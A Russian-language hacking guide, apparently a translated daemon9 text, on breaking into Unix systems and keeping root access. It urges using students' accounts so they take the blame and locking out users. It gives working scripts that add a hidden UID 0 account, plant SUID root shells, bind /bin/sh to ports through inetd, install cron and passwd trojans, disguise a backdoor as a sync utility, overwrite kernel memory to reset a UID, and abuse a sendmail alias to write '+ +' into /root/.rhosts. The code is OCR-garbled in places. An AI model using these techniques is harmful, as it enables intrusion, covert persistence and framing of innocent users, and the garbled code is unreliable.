В любой момент вас могут засечь операторы, но чаще всего их это мало интересует, либо информация на их машинах меняется так быстро, что они не успевают считывать ее, а если же вы забудете свой пароль или попытаетесь войти в недоступные вам файлы, то система автоматически запишет все ваши действия. А некоторые системы вообще регистрируют все ваши телодвижения!
Это - ключевой момент взлома системы UNIX. Допустим, вы опасаетесь заниматься хакингом под собственным ID. И к тому же желаете по возможности использовать при каждом заходе в систему различные пользовательские ID
Без некоего начального доступа к системе получить имя и пароль невозможно. Что же делать? Не забывайте, что GANDALF data switch отнюдь несовершенен. Один из пяти логинов без проблем пропустит вас под чужим именем. Вам остается только изменить контроль по четности (8N1 на Е71), в то время как GANDALF загружает UNIX. Вам наверняка удастся зарегистрироваться таким образом. И это произойдет из-за того, что некоторые пользователи используют телефонные линии по их прямому назначению, не завершив работу на компьютере. Всегда следите за тем, чтобы по завершении работы обязательно выйти из системы.
Возможен и такой случай, когда вы влезли в систему под чужим именем и, непонятно почему, не получили доступа. На мониторе высветились слова "LOG OFF", и вы просто были выброшен из системы. Скорее всего, что человек, чьим именем вы воспользовались, как раз в тот момент сидел на терминале, управляемом суперпользователем. И он сообщил SU(суперпользователю) о том, что в системе появился его двойник (возможно, он установил это, используя команду WHO).
--------------------------------------------------------------------------------
Блокирование.
--------------------------------------------------------------------------------
Еще такой момент. UNIX дает возможность блокировать некоторых пользователей и ограничивать им доступ к системе.
Для начала вы выбираете гражданина, которому собираетесь закрыть доступ. Затем помещаете в его начальный каталог (тот, который UNIX автоматически загружает при входе в систему) файл VI.LOG IN.
VI.LOGIN должен выглядеть примерно так:
VI.LOGIN
logout
Таким образом, VI.LOGIN будет включать в себя только одну единственную команду. Она срабатывает автоматически: как только этот пользователь попытается войти в систему, вход в нее окажется заблокирован.
Важно: каждые несколько дней проверяйте в силе ли ваше блокирование, а блокирование особо значимых для вас пользователей можно проверять и чаще.
Эта программа должна работать под КОРНЕМ (ROOT - имя суперпользователя).
--------------------------------------------------------------------------------
Приобретение нового имени.
--------------------------------------------------------------------------------
Возможен еще один способ приобретения пользователем нескольких имен и паролей. Сначала (самое трудное) необходимо дождаться начала семестра и достать список идентификационных номеров студентов, учащихся в группах с углубленным изучением системы UNIX. Обычно этот список вывешивается на двери деканата или где-нибудь еще. Допустим, что этот список вы уже нашли.
Далее, лучше всего в самом начале учебного года, попробуйте войти в систему под именами нескольких (возможно, 3-4) студентов. Предпочтительней пользоваться ID студентов самого низкого уровня доступа, так как если вы попадетесь, то именно студент примет на себя весь удар, полагая, что он сам сделал что-то не так. Смело входите в систему, и если студент еще не занимался в UNIX, то сразу же выскочит запрос на ввод пароля. Вы не только получили доступ, но и еще можете установить любой пароль по своему выбору! Так происходит, потому что кафедре информатики всегда некогда поставить своим студентам фиксированные пароли. Считается, что студенты-новички должны сами выбрать себе пароль, но тогда как же можно различить, кто студент, а кто хакер?
Вероятнее всего, ваша халява не продлится и нескольких дней, поэтому лучше всего будет, если вы воспользуетесь ситуацией и оторветесь по полной программе. Если у вас богатый опыт работы на компьютере и вы умеете взламывать пароли в файле PASSWRDS, то можете получить пароль суперпользователя (SU) и тогда уж развлекаться на полную катушку!
Великолепно Вы пробыли в системе UNIX всю ночь, пытаясь воплотить в жизнь все идеи, которые только пришли вам на ум. Система вам уже кажется тесной. И выглядит просто спичечным коробком. Система на самом деле тесна. Вы испробовали все, что можно испробовать. Пароли по умолчанию, пароли, которые вы раскрыли, дефекты NIS, дыры NFS, "кривые" разрешения к файлам и условия маршрутизации, шуточки со SUID, ошибки в Sendmail и так далее.
Все. Погодите! А это что такое? "#"? Наконец таки!
После, как казалось, бесконечного тяжелого труда вам в конце концов удалось взломать root. И что же теперь? Что вы будете делать с этой бесценной привилегией суперпользователя, ради которой пришлось столько потрудиться?
--------------------------------------------------------------------------------
Как удержаться на уровне root.
--------------------------------------------------------------------------------
Здесь описывается, как удержаться на уровне корня, и она будет полезна как для хакеров, так и для администраторов.
Предупреждение: Выясните расположение главных системных файлов. Это вам необходимо (если вы не можете вспомнить хотя бы некоторые из них, прекратите чтение данной главы, полистайте книгу о системе UNIX и после этого возвращайтесь к нам).
Ознакомьтесь с форматами файлов passwrd (включая обычных 7 форматов, систему специальных имен, механизмами затенения и т.д.). Почитайте о vi. Создатели большинства систем не столь дружелюбно настроены по отношению к пользователю, как создатели UNIX Пико и Эмакс. Vi вам поможет быстро найти и при необходимости отредактировать очень большой файл. Если вы подсоединяетесь к системе дистанционно (dial-up\telnet\rlogin\whatver), то для вас тем более важно иметь мощную программу терминала, обладающую вместительным буфером. Он пригодится вам в случае нужды вырезать, вставлять и копировать файлы и выполнять другие компьютерные программы.
Длительность этого нелегального доступа полностью зависит от опыта и мастерства администратора. Опытный и умелый администратор будет зорко следить за всеми нелегальными проникновениями в систему, а тот факт, что вам удалось приобрести корень, говорит о том, что администратор был недостаточно профессионален, или о том, что доступ был на какое-то время открыт.
Вы должны осознать следующее: если вы сумеете замести следы в самом начале взлома, то уже никто не сможет вычислить вас в дальнейшем.
Несколько банальностей:
(1)
Добавьте UID 0 к паролю файла. Возможно, это один из самых легких способов сообщить администратору о том, что вы в системе. Если вы все же хотите это сделать, то вот вам совет - не нужно просто приписывать этот код к паролю файла. Любой проверяющий моментально это заметит. Лучше впишите его посередине пароля...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED Oh well.
# daemon9@netcom com
set linecount = wc -1 /etc/passwd
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \ (or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr Sinister: /home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
rnv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./ternppass
echo Done...
Никогда не изменяйте пароль корня. Причины, думаю, вам очевидны.
(2)
Точно таким же образом введите в действие такие уже непригодные аккаунты, как Sync. Или, возможно, другие, скрытые в файле паролей, забытые или отключенные системным администратором. Измените UID на 0 (и уберите "*" из второго поля).
(3)
Перегоните оболочку корня в /tmp:
#!/bin/sh
# Everyone's favorite:
cp /bin/csh /trnp/.evilnaughtyshell # Don't name it that:
chmod 4755 /tmp/.evilnaughtyshell
Многие системы чистят \tmp по ночам. Чаще всего это осуществляется путем уничтожения файлов или занесения их в буфер. Во многих системах установлены пакеты, предохраняющие от запуска программ под SUID. Вы можете все это изменить, но даже если система примет изменения, то очень многие могут все же это заметить... Параметры необходимых изменений могут варьироваться на разных системах.
(4)
Системный администратор не станет первым же делом заглядывать в конфигурационный файл хоста, так почему бы не загрузить этот демон туда?
Для начала немного общей информации: Internet-демон (\etc\inetd\) принимает запросы о связи с портами TCP и UDP и перебрасывает нужную программу согласно поступившему запросу. Формат файла \etc\inetd.conf. прост.
Обычные его строки выглядят следующим образом:
1
2
3
4
5
6
7
ftp
stream
top
nowait
root
/usr/etc/ftpd
ftpd
talk
dgram
udp
wait
root
/usr/etc/ntalkd
ntalkd
Первое поле (1) - это название демона, указанное в \etc\services. Отсюда inetd считывает информацию о соответствующем поле в \etc\services и после этого устанавливает параметры связанного с данной программой порта.
Во втором поле содержится информация о типе службы доставки данных, необходимом для данной программы. TCP использует stream (байт-ориентированный поток), тогда как UDP - dgrams (служба, ориентированная на транзакции). Третье поле - поле протоколов (TCP или UDP). В четвертом поле указывается статус демона. Флаг wait означает, что демон перед продолжением прослушивания приходящих запросов вынужден будет ожидать, пока сервер освободит порт, nowait в свою очередь позволяет демону незамедлительно приступать к прослушиванию новых запросов. Пятое поле - это тот пользователь (или иногда UID), который управляет демоном. Поле (6) - это запускающаяся при соединении программа, а поле (7) содержит команды (и дополнительные аргументы). Часть программ (обычно не требующих вмешательства пользователя), сервер может перебрасывать по сети. Это осуществляется с помощью флага internal в строках (6) и (7). Таким образом, для того, чтобы самому установить нелегальный доступ к системе, выберите редко используемую программу и переадресуйте связующего демона к программе, создающей оболочку корня SUID, к программе, предоставляющей корневой аккаунт в файле \etc\passwd и так далее.
Пример:
Откройте \etc\inted.conf, если это, конечно, возможно.
Найдите строку:
daytime stream tcp nowait root internal
и поменяйте ее на:
daytime stream tcp nowait /bin/sh sh - i
Теперь вновь откройте \etc\inetd\ и просмотрите файл конфигурации. Сами решите, как это сделать. Вы можете закончить процесс и запустить его снова (kill -9, /usr/sbin/inetd или /usr/etc/inetd), и таким образом прервать все связи в сети (особое удовольствие сделать это в час пик).
(5)
Своего рода компромиссным вариантом может стать установка новой программы, которая смогла бы запускать любую другую по вашему выбору. Лучше всего загрузить не чувствительную к несанкционированным подключениям оболочку. Вы должны убедиться в том, что доступ индицируется как в \etc\services, так и в \etc\inetd.conf. Формат \etc\services прост:
1
2/3
4
smtp
25/tcp
mail
(1) - функция, (2) - номер порта, (3) - тип протокола, необходимый для работы программы, (4) - название функции.
Попробуйте добавить такую строку к \etc\services:
evil 22/tcp evil
и такую к /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Загрузите inetd.
Обратите внимание: такой нелегальный доступ в принципе весьма действенен. Он даст возможность использовать не только любой аккаунт локальной сети, но и предоставит любой аккаунт любого компьютера с выходом в Internet.
(6) Cron-трояны I
Cron - это замечательная утилита для администрирования. Она также может быть использована для того, чтобы нелегально войти в систему, если, конечно корневой crontab работает исправно. И опять же нелишне напомнить, что продолжительность работы нелегально созданного аккаунта находится в обратной зависимости от опытности и профессионализма системного администратора. Обычно список корневых файлов crontab находится в /var/spool/cron/crontabs/root. Здесь у вас есть выбор. Здесь будет перечислены только некоторые из возможных решений, так как на самом деле их количество огромно.
cron - это временной демон. Он представляет собой утилиту, выполняющую команды, связанные с датами и временем.
crontab - это команда, пересматривающая и дополняющая ваши файлы crontab. Управлять crontab также легко, как и редактировать /var/spool/crontab/root.
Файл crontab состоит из шести полей:
1
2
3
4
5
6
0
0
*
*
1
/usr/bin/updatedb
Поля с 1 по 5 означают: минута (0-59),час (0-23), день месяца (1-31), месяц года (1-12), день недели (0-6). Поле 6 - это выполняемая команда (или сценарий оболочки). Сценарий оболочки из вышеприведенного примера используется только по понедельникам. Для запуска cron просто добавьте вход в /var/spool/crontab/root. Например, у вас есть задание для cron, которое должно ежедневно запускаться и отслеживать в файле /etc/passwd предварительно помещенный туда аккаунт UID 0 и восстанавливать его после удаления (неплохая идея ввести код оболочки в сценарий оболочки в уже установленном файле crontab, тем самым вы можете себя в значительной степени обезопасить).
Добавьте такую строку в /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
А вот и сценарий оболочки:
#!/bin/csh
# Is our eviluser still on the system ? Let's make sure he is.
#daemon9@netcom.com
set evilflag = ( 'grep eviluser /etc/passwd' )
if($#evilflag == 0) then # Is he there?
set linecount = we -1 /etc/passwd
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1
# we only want 2 temp files
split -$linecount[.1J ./temppass
# passwd string optional
echo "EvilUser::0:0:Mr. Sinister: /home/sweet/horne /bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
# or whatever it was beforehand
rm ./xa* /temppass
echo Done:
else
endif
(7) Cron-трояны II
Для того, чтобы трояна запустить, вам необходимо отыскать скрытую копию файла etc/passwd. В этом спрятанном файле (назовем его /var/spool/mail/.sneaky) заведем еще один вход с корневым аккаунтом и с паролем на ваш выбор. Вводим задание для cron, который, например, будет каждую ночь в 2.30 (или в любое другое время) сохранять копию настоящего \etc\passwd файла и активизировать при этом троянскую версию данного файла сроком на одну минуту. В это время любой обычный пользователь, попытавшийся зарегистрироваться в системе или открыть файл пароля, не сможет этого сделать, тогда как ровно через минуту он не встретит никаких препятствий на своем пути.
Добавьте эту строку к корневому файлу crontab:
29 2 * * * /bin/usr/sneakysneaky_passwd
и проверьте:
# echo
"root 1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
и вот очень простой сценарий оболочки:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.snsnеаkу /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
(8) Генерирование кода трояна
Это очень просто. Вместо сценария оболочки используйте какой-нибудь С-код, и это поможет вам успешно замести следы. Вот как это делается.
Убедитесь в том, что ваш троян работает под корнем. Назовите его как-нибудь безобидно и хорошенько замаскируйте.
В ряде случаев небольшой троян может быть создан в SUID оболочке при условии, что соблюдены определенные параметры. С-код в такой момент гораздо действеннее, нежели оболочка, и помогает лучше прятать результаты.
/* daemon9@netcom.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[ ]; {
int i=0;
if (argv[1]) { /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD, argv[1]))){
/* Это уже троян */
system("cp /bin/csh /bin/ swp121"),
system("chown root /bin/ swp121"),
system("chmod 4755 /bin/ swp121")
}
}
/* Put your possibly system specific trojan messages here */
/* Let s look like we re doing something:*/
printf("Sychronizing bitmap image records );
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for ( i<10; i++){
fprintf (stderr,".");
sleep(1);
}
printf ("\nDone. \n");
return(0);
} /* End main */
(9) Файл-псевдоним в sendmail
Этот файл дает возможность отправлять почту на имя одного или нескольких пользователей или подключиться к самой программе. Для таких файлов существует очень известный троян uudecode. Просто добавьте строку:
"decode: " | /usr/bin/uudecode"
в файл /etc/aliases.При это вам следует создавать файл uuencoded.rhosts с полным указанием его месторасположения.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Затем адресуйтесь к нужному сайту, порт 25. Отправьте "липовое" письмо, используя uuencode-версию файла .rhosts. В одной из строк (настоящей) напечатайте следующее:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts |
mail decode@target.com
И теперь можете дать волю своему воображению. Придумывайте себе псевдоним, пишите письма кому хотите, запускайте любые программы. Многие из описанных выше методов сейчас могут найти себе применение.
(10) Скрытый Троян в обычных программах
Это не самый лучший метод, но зато его следы могут быть обнаружены только такими программами, как tripwire.
Идея проста: вживить трояна в наиболее часто и широко используемую программу. Для нас особенно важны программы su, login и passwrd, так как они идут под корнем и к ним не надо переустанавливать разрешения. Ниже мы приведем несколько примеров на разные случаи, чтобы вы почувствовали всю прелесть взлома системы UNIX. (Примечание: Это не всегда проходит, так как некоторые поставщики не столь беспечны, как большинство других). Подключаемся
Если подключиться не удается запускаем вирус
Если все идет как надо то не останавливаемся на полпути
Выходим с ошибкой
...
Не слишком трудно. Данный тип трояна может включать в себя менее 10-ти строк дополнительного кода.
(11) Эзотерический: использование \dev\khem
Сейчас мы погрузимся в святая святых системы. Так как параметры ядра находятся в памяти машины, то, следовательно, модифицирование память компьютера может привести к изменению UID. Чтобы это сделать, удостоверьтесь, что к \dev\khem установлен доступ для чтения/записи. И далее по пунктам: открыть \dev\khem, найти вашу страничку в памяти, переписать UID, затем запустить csh, который и поменяет ваш UID. Эта программа проделывает следующее.
/* Если \khem доступен для чтения и для записи, то с помощью этой программы можно установить и пользовательский и групповой ID к 0. */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage:
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[ ], *envp[ ]; {
int count, fd;
long where, lseek();
if (argv[1] ) {/* we've got an argument, is it the keyword? */
if (!(strcmp(KEYWORD argv[1]))){
fd =(open("/dev/kmem", 0_RDWR);
if (fd<0){
printf ("Cannot read or write to /dev/kmem\n" );
perror(argv);
exit(10)
}
userlocation = address( );
where = (lseek (fd, userlocation, 0)
if (where !=userlocation){
printf ("Cannot seek to user page\n")
perror (argv);
exit(20);
}
count = read(fd, &userpage, sizeof (struct user));
if (count !=sizeof (struct user)){
printf("Cannot read user page\n")
perror(argv);
exit(30);
}
printf ("Current UID: %d\n", userpage.u_ruid);
printf ("Current GID: %d\n", userpage.g_ruid);
userpage.u_ruid = 0;
userpage u_rgid = 0;
where = lseek(fd, userlocation, 0);
if( where! = userlocation){
pnntf ("Cannot seek to user page\n");
perror (argv);
exit(40);
}
write (fd, &userpage, ((char *)&(userpage и procp)) ((char *)&userpage))
ехесlе ("/bin/csh", "/bin/csh", "-i", (char *) 0, envp)
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx = 0;
object = ldopen ("/unix", LNULL);
if (!object){
fprintf (stderr, "Cannot open /unix. \n");
exit(50);
}
for (ldtbread (object, idx, &symbol)==SUCCESS; idx++)
{
if (!strcmp ("_u", ldgetname (object, &symbol)))
{
fpnntf (stdout, "User page is at 0x%8.8x\n", symbol.n_value);
ldclose (object);
гeturn (symbol.n_value)
}
}
fprintf (stderr, "Cannot read symbol table in /unix.\n");
exit(60);
}
(12)
С тех пор как описанный выше код на основе /dev/kmem стал общеизвестным, использовать его необходимо с максимальной осторожностью. Совет такой - напишите сценарий оболочки по образцу (7), чтобы на время (допустим, на 5 минул) изменить разрешения, установленные к /dev/kmem, a затем вернуть их значения обратно. Добавьте эти строки к шаблону из пункта (7):
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kfnem # Or whatever it was before
--------------------------------------------------------------------------------
Дефекты.
--------------------------------------------------------------------------------
Дефекты в системе безопасности бывают нескольких видов.
Физические дефекты
В этом случае проблема состоит в возможности получения нелегального доступа к системе и, как последствия, компьютерного хулиганства и вандализма. Вот вам хороший пример - сетевая рабочая станция, которая при отсутствии должных предосторожностей может быть переведена взломщиком в режим single-user (единичного пользователя) с одновременным уничтожением всей файловой системы.
Еще один пример - обеспечение сохранности конфиденциальной информации на различных носителях, которые, несмотря на установленные к файлам разрешения, вполне могут быть прочитаны любым пользователем системы, имеющим доступ к соответствующему сегменту диска.
Дефекты программного обеспечения
Здесь основная проблема заключается в ошибках в "привилегированных" программах (демоны, установки для cron), чьи функции могут быть задействованы при взломе системы. Самый известный пример - это "sendmail debug", который позволяет хакеру запускать корневую оболочку. При этом может быть удалена файловая система, создан новый аккаунт, скопирован файл passwrd, короче, все, что только можно придумать (вопреки общему мнению, взлом, аналогичный sendmail, не ограничивается только небезызвестным "Internet Worm", это вполне осуществимо и при запуске telnet через 25 порт атакуемого компьютера.
Новые "дыры" в системе безопасности появляются чуть ли не ежедневно, поэтому самое лучшее, что вы можете сделать, это:
a) постараться структурировать свою систему таким образом, чтобы даже самые незначительные программы работали только под привилегиями root/daemon/bin, а если существует необходимость прописать софт под других пользователей, то убедитесь, что их аккаунты не поддаются взлому.
b) подпишитесь на рассылку, где публикуется информация об интересующих вас проблемах, и таким образом вы сможете вовремя отреагировать на обнаруженный дефект.
При установке/обновлении данной системы старайтесь устанавливать/делать запускаемыми только действительно необходимые вам программы, которые нужны вам сейчас или которыми вы точно станете пользоваться. Многие пакеты содержат демоны и утилиты, позволяющие посторонним лицам считывать информацию. К примеру, пакет AT&T System V Unix включает в себя программу acctcom(l), в которой установки по умолчанию предоставляют одному пользователю свободный доступ к учетным данным другого. Многие пакеты TCP/IP автоматически инсталлируют/запускают такие программы, как rwhod, fmgerd, и <иногда> tftpd, использование которых может повлечь за собой серьезные проблемы с обеспечением безопасности системы.
Решение этих проблем заключается в тщательно продуманном администрировании системы. Большинство подобных программ инициализируется/запускается во время начальной загрузки; вы можете изменить сценарии начальной загрузки (обычно расположенные в каталогах /etc, /etc/re, /etc/rcX.d) для предотвращения их запуска. Вы также можете просто удалить некоторые из этих программ. Для ряда утилит предотвратить несанкционированный запуск может простая команда chmod(l).